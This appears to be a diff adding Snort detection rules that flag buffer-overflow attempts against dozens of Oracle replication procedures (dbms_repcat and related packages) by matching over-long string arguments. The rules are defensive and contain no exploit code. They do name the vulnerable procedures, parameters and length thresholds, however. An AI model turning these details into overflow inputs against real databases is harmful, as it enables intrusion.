+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.drop_snapshot_repobject buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.drop_snapshot_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2843; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_priority_date buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_priority_date"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2889; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_delete_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_delete_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2767; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_priority_raw buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_priority_raw"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2776; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.register_statistics buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.register_statistics"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2901; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.execute_ddl buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.execute_ddl"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2785; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_priority_date buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_priority_date"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2870; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_priority_char buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_priority_char"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2859; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_utl.drop_an_object buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_utl.drop_an_object"; nocase; pcre:"/(\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2849; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.refresh_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.refresh_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2795; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.register_statistics buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.register_statistics"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2798; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_priority_raw buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_priority_raw"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2874; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.switch_mview_master buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.switch_mview_master"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2856; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.comment_on_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.comment_on_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2752; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.define_priority_group buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.define_priority_group"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2761; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_site_priority buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_site_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2780; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.drop_snapshot_repgroup buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.drop_snapshot_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2842; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.purge_statistics buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.purge_statistics"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2900; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.add_site_priority_site buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.add_site_priority_site"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2866; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna.create_snapshot_repschema buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna.create_snapshot_repschema"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*sname[\r\n\s]*=>[\r\n\s]*\2|sname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2905; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla_mas.add_column_group_to_flavor buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla_mas.add_column_group_to_flavor"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2817; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.drop_priority_number buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.drop_priority_number"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2891; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_sna_utl.switch_snapshot_master buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_sna_utl.switch_snapshot_master"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2917; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.send_and_compare_old_values buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.send_and_compare_old_values"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2804; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_unique_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_unique_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2731; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_priority_number buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_priority_number"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2738; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_object_from_flavor buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_object_from_flavor"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2770; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.create_snapshot_repobject buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.create_snapshot_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname|type|gname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname|type|gname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){5}(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2851; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.purge_master_log buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.purge_master_log"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2835; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_conf.alter_priority_char buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_conf.alter_priority_char"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2869; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_mas.generate_replication_package buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_mas.generate_replication_package"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(sname|oname)[\r\n\s]*=>[\r\n\s]*\2|(sname|oname)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2834; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla_mas.obsolete_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla_mas.obsolete_flavor_definition"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2821; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_og.resume_subset_of_masters buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.resume_subset_of_masters"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2714; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.alter_priority buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.alter_priority"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2741; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_priority_date buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_priority_date"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2772; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.refresh_mview_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.refresh_mview_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*(gname|gowner)[\r\n\s]*=>[\r\n\s]*\2|(gname|gowner)\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2794; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_og.begin_flavor_change buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.begin_flavor_change"; nocase; pcre:"/\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2708; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.obsolete_flavor_definition buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.obsolete_flavor_definition"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2789; rev:1;)
